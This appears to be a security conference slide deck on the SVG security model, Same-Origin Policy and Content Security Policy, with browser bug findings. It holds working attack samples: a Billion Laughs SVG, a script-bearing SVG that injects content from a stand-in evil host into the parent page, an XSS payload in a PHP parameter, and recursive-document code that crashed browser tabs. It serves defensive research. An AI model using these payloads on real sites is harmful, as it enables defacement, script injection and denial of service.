The SVG Security Model

When an image isn’t just an image

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Outline

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   - Content Security Policy
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   - Using SVG with HTML
   - SVG features
3. Attacking SVG
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   - Security model
   - Security model violations
   - CSP Violations
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Web Security

- A page can request resources from any source, but there are restrictions on how those resources can interact.
- Web security is a confusing mix of rules that apply to different things, work-arounds to those rules, and mitigations against attacks permitted by those rules.
- Most important rule: Same-Origin Policy
- Most important mitigation: Content Security Policy

Same-Origin Policy

- An *origin* is a (protocol, host, port) tuple.
- Unless you're Internet Explorer, which ignores the port.
- Scripts running inside a page from one origin can only interact with resources from the same origin.
- `http://www.example.com/somedir/page.html` has the same origin as `http://www.example.com/otherdir/doc.html`, but not the same origin as `https://www.example.com/somedir/page2.html` or `http://en.example.com`.
- The origin of a script is the origin of the page that loaded it, not the origin from which the script was loaded.
- This restriction can be relaxed in various ways.
- Cookies, Flash, `file:` URIs, and some other things have different rules.

Content Security Policy

An introduction

- Policies restrict the allowed sources for scripts, styles, images, etc. Resources may only come from white-listed origins.
- Blocks mixed content: `eval`, in-line scripts and styles, `data:` URIs, etc.
- Can be used to restrict content to `https:` URIs.
- Sent by the server in `Content-Security-Policy` headers; enforced by the browser.
- First standardized in 2012.
- Firefox and Chrome have supported it for a while. The latest Internet Explorer technical preview build also supports it.

Content Security Policy

Directives

- A policy is built from from directives that control the allowed sources for specific types of content:

script-src	Scripts, XSLT
style-src	Styles
img-src	Images, including `img` tags and various CSS properties
frame-src	Documents or data loaded from `frame` or `iframe` tags
object-src	Documents, data, or plugins from `object`, `embed`, or `applet` tags
media-src	Audio and video content, such as `video` and `audio` tags
font-src	Fonts
connect-src	`XMLHttpRequest`, WebSockets, etc.
default-src	Defaults for any directive that isn't specified

Content Security Policy

Source lists

- Each directive must have a source list. Sources[1] can be

  ’none’ Content covered by the directive must not be allowed from any source.

  ’self’ The source of the document to which CSP applies.

  <host> A host name. Some wildcards are allowed. A URI scheme and port number may also be supplied.

  <scheme> A URI scheme.

- If a document attempts to load a resource covered by CSP, and the resource’s source is not in the source list for the applicable directive, then the user agent must not load the resource.

[1] A *source* is a scheme-host-port tuple, but differs from the document *origin* under some circumstances.

Content Security Policy

An example

```
Content-Security-Policy: default-src 'none'; style-src 'self';
script-src 'self' https:; img-src 'self' data: *.svg.test; object-src
'self' http://images.svg.test; frame-src 'self' http://images.svg.test;
```

- Defaults to not allowing any content from any source.

Content Security Policy

An example

```
Content-Security-Policy: default-src 'none'; style-src 'self';
script-src 'self' https:; img-src 'self' data: *.svg.test; object-src
'self' http://images.svg.test; frame-src 'self' http://images.svg.test;
```

- Defaults to not allowing any content from any source.
- Styles are only allowed from external files at the same source as the document.

Content Security Policy

An example

```
Content-Security-Policy: default-src 'none'; style-src 'self';
script-src 'self' https:; img-src 'self' data: *.svg.test; object-src
'self' http://images.svg.test; frame-src 'self' http://images.svg.test;
```

- Defaults to not allowing any content from any source.
- Styles are only allowed from external files at the same source as the document.
- Scripts are only allowed from external files at the same source, and from other sources over HTTPS.

Content Security Policy

An example

```
Content-Security-Policy: default-src 'none'; style-src 'self';
script-src 'self' https:; img-src 'self' data: *.svg.test; object-src
'self' http://images.svg.test; frame-src 'self' http://images.svg.test;
```

- Defaults to not allowing any content from any source.
- Styles are only allowed from external files at the same source as the document.
- Scripts are only allowed from external files at the same source, and from other sources over HTTPS.
- Static images are allowed from from files at the same source, `data:` URIs, and from files at `*.svg.test`.

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Content Security Policy

An example

```
Content-Security-Policy: default-src 'none'; style-src 'self';
script-src 'self' https:; img-src 'self' data: *.svg.test; object-src
'self' http://images.svg.test; frame-src 'self' http://images.svg.test;
```

- Defaults to not allowing any content from any source.
- Styles are only allowed from external files at the same source as the document.
- Scripts are only allowed from external files at the same source, and from other sources over HTTPS.
- Static images are allowed from from files at the same source, `data:` URIs, and from files at `*.svg.test`.
- Objects and frames are allowed from the same source and from `http://images.svg.test`.

Content Security Policy

An example

```
Content-Security-Policy: default-src 'none'; style-src 'self';
script-src 'self' https:; img-src 'self' data: *.svg.test; object-src
'self' http://images.svg.test; frame-src 'self' http://images.svg.test;
```

- Defaults to not allowing any content from any source.
- Styles are only allowed from external files at the same source as the document.
- Scripts are only allowed from external files at the same source, and from other sources over HTTPS.
- Static images are allowed from from files at the same source, `data:` URIs, and from files at `*.svg.test`.
- Objects and frames are allowed from the same source and from `http://images.svg.test`.
- Media, fonts, and connections are not allowed on any source.

Content Security Policy

More things to know

- If more than one CSP applies to a document, then all policies must be applied independently.
- *Only* the CSP served with an embedded document applies to that document; any CSPs that apply to the parent context are ignored.
- There is a report-only mode for debugging.
- There are ways to allow in-line scripts and stylesheets, and to allow `eval` in scripts. Don't use them.

Content Security Policy

Why you should use it

- Exploit mitigation. Think ASLR+DEP for web apps.
- It's hard to get XSS if the browser will only execute scripts from white-listed static documents and `eval` is banned globally.
- A lot of web frameworks like to mix content, scripts, and styles, so get started on separating them as soon as possible.
- More information: `http://content-security-policy.com/`, `https://www.isecpartners.com/media/106598/csp_best_practices.pdf`

What is SVG?

- **S**calable **V**ector **G**raphics
- XML-based
- W3C (`http://www.w3.org/TR/SVG/`)
- Development started in 1999
- Current version is 1.1, published in 2011
- Version 2.0 is in development
- First browser with native support was Konqueror in 2004;
- IE was the last major browser to add native SVG support (IE9, in 2011)

Disclaimer

I am not an artist.



A simple example

As rendered



A simple example

Source code

```
<?xml version="1.0" encoding="UTF—8" standalone="no"?>
<svg
    xmlns="http://www.w3.org/2000/svg"
    width="68"
    height="68"
    viewBox="—34 —34 68 68"
    version="1.1">
  <circle
      cx="0"
      cy="0"
      r="24"
      fill="#c8c8c8"/>
</svg>
```

Embedding SVG in HTML

- As a static image:
  - `img` tag
  - CSS resources (eg, `background-image`)
- As a nested document
  - `object` tag
  - `embed` tag
  - `iframe` tag
- In-line
- `canvas` tag

SVG with CSS

In-line

```
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg
   xmlns="http://www.w3.org/2000/svg"
   width="68"
   height="68"
   viewBox="-34 -34 68 68"
   version="1.1">
  <style>
     circle {fill: orange }
  </style>
  <circle
     cx="0"
     cy="0"
     r="24"
     fill="#c8c8c8"/>
</svg>
```

SVG with CSS

External

```
<?xml version="1.0" encoding="UTF-8"
      standalone="no"?>
<?xml-stylesheet type="text/css"
      href="circle.css"?>
<svg
   xmlns="http://www.w3.org/2000/svg"
   width="68"
   height="68"
   viewBox="-34 -34 68 68"
   version="1.1">
  <circle
     cx="0"
     cy="0"
     r="24"
     fill="#c8c8c8"/>
</svg>
```

SVG with CSS

As rendered

(a) Without CSS

(b) With CSS

SVG with JavaScript

In-line

```
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg
   xmlns="http://www.w3.org/2000/svg"
   width="68"
   height="68"
   viewBox="-34 -34 68 68"
   version="1.1">
  <script>
     window.onload = function() {
        document.getElementsByTagName("circle")[0].style.stroke = "red";
        document.getElementsByTagName("circle")[0].style.strokeWidth = "2";
     };
  </script>
  <circle
     cx="0"
     cy="0"
     r="24"
     fill="#c8c8c8"/>
</svg>
```

SVG with JavaScript

External

```
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg
   xmlns="http://www.w3.org/2000/svg"
   xmlns:xlink="http://www.w3.org/1999/xlink"
   width="68"
   height="68"
   viewBox="-34 -34 68 68"
   version="1.1">
  <script type="text/javascript" xlink:href="circle.js"></script>
  <circle
     cx="0"
     cy="0"
     r="24"
     fill="#c8c8c8"/>
</svg>
```

SVG with JavaScript

As rendered



(a) Without JavaScript

(b) With JavaScript

SVG with an external image

```
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg
   xmlns="http://www.w3.org/2000/svg"
   xmlns:xlink="http://www.w3.org/1999/xlink"
   width="68"
   height="68"
   viewBox="-34 -34 68 68"
   version="1.1">
  <circle
     cx="0"
     cy="0"
     r="24"
     fill="#c8c8c8"/>
  <image x="0" y="0" width="34" height="34" xlink:href="circle-image.svg" />
</svg>
```

SVG with an external image

As rendered



(a) Normal



(b) With an external image

SVG with embedded HTML

```
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg
   xmlns="http://www.w3.org/2000/svg"
   xmlns:xhtml="http://www.w3.org/1999/xhtml"
   width="68"
   height="68"
   viewBox="-34 -34 68 68"
   version="1.1">
  <circle
     cx="0"
     cy="0"
     r="24"
     fill="#c8c8c8"/>
  <foreignObject x="0" y="0" width="34" height="34">
    <xhtml:xhtml>
      <xhtml:head>
        <xhtml:style>
          document,body,img { padding: 0px; margin: 0px; border: 0px; }
        </xhtml:style>
      </xhtml:head>
      <xhtml:body>
        <xhtml:object width="34" height="34" type="image/svg+xml" data="circle.svg">circle</xhtml:object>
      </xhtml:body>
    </xhtml:xhtml>
  </foreignObject>
</svg>
```

SVG with embedded HTML

As rendered

(a) Normal

(b) With another SVG embedded inside HTML in a `foreignObject`

In-line SVG

```
<!DOCTYPE html>
<html>
  <body>
    <h1>Inline SVG</h1>
      <svg
         xmlns="http://www.w3.org/2000/svg"
         width="68"
         height="68"
         viewBox="-34 -34 68 68"
         version="1.1">
        <circle
           cx="0"
           cy="0"
           r="24"
           fill="#c8c8c8"/>
      </svg>
  </body>
</html>
```

- Considered part of the document.
- Can load its own scripts.
- `xml-stylesheet` directives aren't allowed in HTML, but any stylesheets applied to the HTML document also apply to in-line SVG.

Attack surface

Since SVG can do pretty much everything that HTML can do, the attack surface is very similar:

- XML attacks (Billion Laughs, etc.)
- DOM attacks
- XSS
- Etc.

Billion Laughs

```
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"
[
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<svg
   xmlns="http://www.w3.org/2000/svg"
   width="68"
   height="68"
   viewBox="-34 -34 68 68"
   version="1.1">
  <circle
     cx="0"
     cy="0"
     r="24"
     fill="#c8c8c8"/>
  <text x="0" y="0" fill="black">&lol9;</text>
</svg>
```

Billion Laughs

Chrome



This page contains the following errors:

```
error on line 26 at column 24: Detected an entity reference loop
```

Below is a rendering of the page up to the first error.

Billion Laughs

Firefox



XML Parsing Error: recursive entity reference
Location: http://svg.test/circle-lol.svg
Line Number 26, Column 40:

```
  <text x="0" y="0" fill="black">&lol9;</text>
---------------------------------------^
```



Attacking the DOM

Innocent HTML

```
<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8"/>
  </head>
  <body>
    <h1>Same-origin SVG</h1>
    <div style="border: 1px solid black">
      <object data="harmless.svg" type="image/svg+xml"
              width="68" height="68"></object>
    </div>
  </body>
</html>
```

Attacking the DOM

As rendered



Same-origin SVG

Attacking the DOM

Malicious SVG

```
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg
   xmlns="http://www.w3.org/2000/svg"
   width="68"
   height="68"
   viewBox="-34 -34 68 68"
   version="1.1">
  <script>
     var elmt = top.document.createElement("img");
     elmt.src = "http://evil.zz/pwned.png"
     elmt.style.position = "absolute";
     elmt.style.top = "0";
     elmt.style.left="0";
     top.document.body.appendChild(elmt);
  </script>
  <circle
     cx="0"
     cy="0"
     r="24"
     fill="#c8c8c8"/>
</svg>
```

Attacking the DOM

Results



svg.test/dom-victim.html - Chromium

Same-origin SVG

XSS

Code

```
<?php
header("Content-type: image/svg+xml");
echo "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>"
?>
<svg
   xmlns="http://www.w3.org/2000/svg"
   width="68"
   height="68"
   viewBox="-34 -34 68 68"
   version="1.1">
  <circle
     cx="0"
     cy="0"
     r="24"
     fill="<?php echo $_GET['colour']; ?>"/>
</svg>
```

XSS

Results



(a) `http://svg.test/circle-xss.svg.php?colour=blue`



/pwnt!/

Transferring data from svg.test…

(b) `http://svg.test/circle-xss.svg.php?colour="/><script>alert(/pwnt!/);</script>`

Security model

- SVG loaded as static images are treated like other image formats:
  - External resources (stylesheets, scripts, other images, etc.) are not loaded.
  - Scripts are never executed.
  - Internal stylesheets and `data` URIs are allowed.
- SVG loaded as nested documents are treated just like HTML:
  - External resources are loaded.
  - Scripts are executed.
  - Same-Origin Policy applies.
  - Sandboxed iframes disable script execution
  - Browsers must never load a document as a child of itself.
- In-line SVG is just tags, but security rules apply to any external resources used by in-line SVG.

Internet Explorer always loads external CSS

Source

```
<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8"/>
  </head>
  <body>
    <h1>SVG with external CSS</h1>
    <div style="border: 1px solid black">
      <img src="circle-css-external.svg"
           alt="circle"/>
    </div>
  </body>
</html>
```

```
<?xml version="1.0" encoding="UTF-8"
    standalone="no"?>
<?xml-stylesheet type="text/css"
    href="circle.css"?>
<svg
   xmlns="http://www.w3.org/2000/svg"
   width="68"
   height="68"
   viewBox="-34 -34 68 68"
   version="1.1">
  <circle
     cx="0"
     cy="0"
     r="24"
     fill="#c8c8c8"/>
</svg>
```

Internet Explorer always loads external CSS

Results



svg.test/test.html

svg.test/test.html

SVG with external CSS

(a) Chrome



http://svg.test/test.htr

svg.test

SVG with external CSS

(b) Internet Explorer

CSP *does* block external CSS correctly in the 11.0.9879.0 technical preview build.

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Chrome loads cross-origin CSS

Source

```
<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8"/>
  </head>
  <body>
    <h1>Cross-origin SVG with external CSS</h
    <div style="border: 1px solid black">
      <img src="circle-css-cross-domain.svg"
           width="68" height="68" alt="circle
    </div>
  </body>
</html>
```

```
<?xml version="1.0" encoding="UTF-8"
    standalone="no"?>
<?xml-stylesheet type="text/css"
    href="http://dom1.svg.test/circle.css"?>
<svg
   xmlns="http://www.w3.org/2000/svg"
   width="68"
   height="68"
   viewBox="-34 -34 68 68"
   version="1.1">
  <circle
     cx="0"
     cy="0"
     r="24"
     fill="#c8c8c8"/>
</svg>
```

Chrome loads cross-origin CSS

Results



Cross-origin SVG with external CSS

(a) Firefox


svg.test/cross-origin-image.html - Chromium
svg.test/cross-origin-imag
svg.test/cross-origin-image.html

Cross-origin SVG with external CSS

(b) Chrome

Chrome bug 384527[2]; fixed in Chromium build 37.0.2054.0, picked up by Apple as CVE-2014-4465[3]

[2] `https://code.google.com/p/chromium/issues/detail?id=384527`

[3] `http://support.apple.com/en-us/HT6596`

Internet Explorer always loads external images

Source

```
<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8"/>
  </head>
  <body>
    <h1>SVG that loads another SVG</h1>
    <div style="border: 1px solid black">
      <img src="recurse1.svg" width="68"
           height="68" alt="circle"/>
    </div>
  </body>
</html>
```

```
<?xml version="1.0" encoding="UTF-8"
      standalone="no"?>
<svg
   xmlns="http://www.w3.org/2000/svg"
   xmlns:xlink="http://www.w3.org/1999/xlink"
   width="68"
   height="68"
   viewBox="-34 -34 68 68"
   version="1.1">
  <circle
     cx="0"
     cy="0"
     r="24"
     fill="#c8c8c8"/>
  <image x="0" y="0" width="34" height="34"
         xlink:href="circle.svg" />
</svg>
```

Internet Explorer always loads external images

Results


svg.test/cross-origin-image.html

SVG that loads another SVG

(a) Chrome


http://svg.test/cross-c

svg.test

SVG that loads another SVG

(b) Internet Explorer

Reported to Microsoft; “Not a security bug”.

CSP *does* block external images correctly in the 11.0.9879.0 technical preview build.

Recursion

We get SVGnal. Main SVGeen turn on.

MECHANIC : SOMEBODY SVG UP US

THE BOMB.

Recursion

- Browsers' checks for recursive documents are based on the URI. So as long as the URI changes at every iteration, we can make a recursive document.
- The query string is part of the URI, but is ignored by HTTP file servers.
- To change the query string at every iteration, we need scripting.
- We can't use `svg:image` because that doesn't run scripts, so we use `html:object` inside `svg:foreignObject`.
- Internet Explorer doesn't render `svg:foreignObject`,[4] but IE does run scripts and load external documents inside it!

[4] http://msdn.microsoft.com/en-us/library/hh834675(v=vs.85).aspx

Recursion

Code

```
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xhtml="http://www.w3.org/1999/xhtml"
   width="68" height="68" viewBox="-34 -34 68 68" version="1.1">
  <circle cx="0" cy="0" r="24" fill="#c8c8c8"/>
  <foreignObject x="0" y="0" width="34" height="34">
    <xhtml:xhtml>
      <xhtml:head>
        <xhtml:script>
          window.onload = function() {
              var query = "?" + (parseInt(document.location.search.split("?")[1]) + 1)
              var obj = document.getElementsByTagName("object")[0];
              obj.setAttribute("data", document.location.protocol + "//" +
                          document.location.host + document.location.pathname + query);
           };
        </xhtml:script>
      </xhtml:head>
      <xhtml:body>
        <xhtml:object width="34" height="34" type="image/svg+xml"
                      data="recursive-foreignobject.svg">circle</xhtml:object>
      </xhtml:body>
    </xhtml:xhtml>
  </foreignObject>
```

Recursion

As rendered in Firefox


http://svg.test/re...reignobject.svg?0
svg.test/recursive-foreignol
Google

Firefox stops at 10 iterations.

Recursion

As rendered in Chrome


svg.test/recursive-foreign ×
svg.test/recursive-foreignobject.svg?0

He's dead, Jim!

Either Chrome ran out of memory or the process for the webpage was terminated for some other reason. To continue, reload or go to another page.

Chrome bug 383180[5]: tab crash after ~241 iterations.

[5] https://code.google.com/p/chromium/issues/detail?id=383180

Recursion

As rendered in Internet Explorer


Internet Explorer

Internet Explorer has stopped working

Windows can check online for a solution to the problem.

Tab crash in IE 11 and 12 DC1 after >4000 iterations.

Reported to Microsoft; “Not a security bug”.

Recursion

IE and image

```
var http = require('http');
var svg = '<?xml version="1.0" encoding="UTF-8" standalone="no"?>\
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"\
   width="68" height="68" viewBox="-34 -34 68 68" version="1.1">\
  <circle cx="0" cy="0" r="24" fill="#c8c8c8"/>\
  <image x="34" y="34" width="34" height="34" xlink:href="REPLACE" />\
</svg> '
http.createServer(function(request, response) {
    var num = parseInt(request.url.substr(1))
    if (isNaN(num)) {
        response.writeHead(400, {'Content-Type': 'text/plain'});
        response.end();
    } else {
        response.writeHead(200, {'Content-Type': 'image/svg+xml'});
        console.log(num);
        response.end(svg.replace("REPLACE", ""+(num+1)));
    }
}).listen(8000);
```

Recursion

As rendered in IE



svg.test is not responding.

IE 11 and 12 DC1 run >250,000 iterations before crashing, which takes a while.

Reported to Microsoft; “Not a security bug”.

Chrome `style-src` violation

When an SVG with in-line CSS is loaded with `style-src 'self'` from a static image context, the CSS is applied contrary to the CSP.[6]


Mozilla Firefox
http://dom1.chr...test/test.html
est/chrome-svg-violation.html
Google

SVG with in-line CSS

```
Content-Security-Policy: default-src 'none'; img-src 'self';
```

Expected: CSS blocked by `style-src`.

(a) Firefox


dom1.chromebug.test/test.html - Chromium
dom1.chromebug.test/te ×
dom1.svg.test/chrome-svg-violation.html

SVG with in-line CSS

```
Content-Security-Policy: default-src 'none'; img-src 'self';
```

Expected: CSS blocked by `style-src`.

(b) Chrome

Chrome bug 378500. No action since 30 May.

[6] `https://code.google.com/p/chromium/issues/detail?id=378500`

Chrome `frame-src` vs. `object-src`

`object-src 'self'; frame-src 'none'`

Either `frame-src` and `object-src` apply to nested browsing contexts, depending on the tag used to open the context. Chrome applies *both* `object-src` and `frame-src` to HTML `object` and `embed` tags, rather than only `object-src`.[7]



CSP Test

Content-Security-Policy: default-src 'none'; object-src 'self';

Expected: iframe blocked by default-src.

Object:

Iframe:

(a) Firefox



CSP Test

Content-Security-Policy: default-src 'none'; object-src 'self';

Expected: iframe blocked by default-src.

Object:

Iframe:

(b) Chrome

[7] https://code.google.com/p/chromium/issues/detail?id=400840

`frame-src` vs. `object-src`

`object-src 'none'; frame-src 'self'`

Either `frame-src` and `object-src` apply to nested browsing contexts, depending on the tag used to open the context. Chrome applies *both* `object-src` and `frame-src` to HTML `object` and `embed` tags, rather than only `object-src`.[8]



CSP Test

`Content-Security-Policy: default-src 'none'; frame-src 'self';`

Expected: `object` blocked by `default-src`.

Object:

Iframe:

(a) Firefox

CSP Test

`Content-Security-Policy: default-src 'none'; frame-src 'self';`

Expected: `object` blocked by `default-src`.

Object:

Iframe:

(b) Chrome

[8] https://code.google.com/p/chromium/issues/detail?id=400840

`frame-src` vs. `object-src`

`object-src 'self'; frame-src 'self'`

Either `frame-src` and `object-src` apply to nested browsing contexts, depending on the tag used to open the context. Chrome applies *both* `object-src` and `frame-src` to HTML `object` and `embed` tags, rather than only `object-src`.[9]



CSP Test

`Content-Security-Policy: default-src 'none'; object-src 'self'; frame-src 'self';`

Expected: `object` and `iframe` are both permitted.

Object:

Iframe:

(a) Firefox



CSP Test

`Content-Security-Policy: default-src 'none'; object-src 'self'; frame-src 'self';`

Expected: `object` and `iframe` are both permitted.

Object:

Iframe:

(b) Chrome

[9] https://code.google.com/p/chromium/issues/detail?id=400840

Sandboxed `iframes` in Chrome

Chrome ignores `'self'` on all CSP directives in sandboxed `iframes`.[10]



CSP Test

```
Content-Security-Policy: default-src 'none'; style-src 'self'; frame-src
'self';
```

Expected: CSS allowed by `style-src`.

Normal iframe:

Sandboxed iframe:

(a) Firefox



CSP Test

```
Content-Security-Policy: default-src 'none'; style-src 'self';
frame-src 'self';
```

Expected: CSS allowed by `style-src`.

Normal iframe:

Sandboxed iframe:

(b) Chrome

Work-around: list the origin explicitly in CSP rather than relying on `'self'`;

[10] `https://code.google.com/p/chromium/issues/detail?id=443444`

Other issues

- Firefox did not properly apply CSP to sandboxed iframes prior to version 28.0. This appears to have been due to wider problems with sandboxed iframes.
- Neither Chrome nor Firefox render foreignObjects in in-line SVG.

SVG Security Test Suite



[Index]	Base	XFO1	XFO2	CSP0	CSP1	CSP2	CSP3	CSP4	CSP5
Same-origin	Link	Link	Link	Link	Link	Link	Link	Link	Link
Different-origin	Link	Link	Link	Link	Link	Link	Link	Link	Link
Different-origin with no policies	Link	Link	Link	Link	Link	Link	Link	Link	Link
Same-origin embedded svg:image	Link	Link	Link	Link	Link	Link	Link	Link	Link
Different-origin embedded svg:image	Link	Link	Link	Link	Link	Link	Link	Link	Link
Same-origin embedded html:object	Link	Link	Link	Link	Link	Link	Link	Link	Link
Different-origin embedded html:object	Link	Link	Link	Link	Link	Link	Link	Link	Link
Recursion	Link	Link	Link	Link	Link	Link	Link	Link	Link

SVG from a different origin with empty policies

Policy:

- CSP: default-src 'none'; script-src 'self' http://*.svg.test; style-src 'self' h
  data: http://*.svg.test; object-src 'self' data: http://*.svg.test; frame-src '
- XFO:

SVG circle

img	img with data: URI	CSS backgro	object	embed	iframe	Sandboxe iframe	In-line
●		●	●	●	●	●	
gray	empty	gray	gray	gray	gray	gray	empty

SVG circle with in-line CSS

img	img with data: URI	CSS backgro	object	embed	iframe	Sandboxe iframe	In-line
●		●	●	●	●	●	
gray	empty	gray	gray	gray	gray	gray	empty

SVG circle with same-origin external CSS

img	img with data: URI	CSS backgro	object	embed	iframe	Sandboxe iframe	In-line
●		●	●	●	●	●	
gray	empty	gray	orange	orange	orange	orange	empty

- `https://github.com/rdegraaf/SVG_Security_Test_Suite`
- Loads different SVGs with internal and external scripts, styles, embedded images, and embedded objects in eight different ways under various XFO and CSP settings.
- Just serve it, load it, and look for discrepancies.

Lessons to be learned

- Treat SVG like you would HTML, not like you would PNG.
- Never load untrusted SVG as an object or iframe from the same origin as trusted content.
- Major browsers still have issues correctly enforcing web security rules.
- CSP is your friend. Use it. Even if you can't use it right away, design new code to be CSP-compatible.

Future work

- Mobile browsers
- Different CSPs on HTML and embedded SVG
- CSP 2.0
- SVG 2.0: `iframe` and `canvas` and other fun stuff?
- SVG's `use` element and anything else that takes a URI argument
- IE12's CSP implementation

More information

- SVG 1.1: `http://www.w3.org/TR/SVG/single-page.html`, `https://developer.mozilla.org/en-US/docs/Web/SVG`
- CSP 1.0: `http://www.w3.org/TR/CSP/`, `https://developer.mozilla.org/en-US/docs/Web/Security/CSP`, `https://www.isecpartners.com/media/106598/csp_best_practices.pdf`
- HTML 5: `http://www.w3.org/TR/html5/Overview.html`
- SVG as a static image: `https://developer.mozilla.org/en-US/docs/Web/SVG/SVG_as_an_Image`
- Integrating SVG with other stuff: `http://www.w3.org/TR/2014/WD-svg-integration-20140417/`

Questions?

https://www.isecpartners.com

http://isecpartners.github.io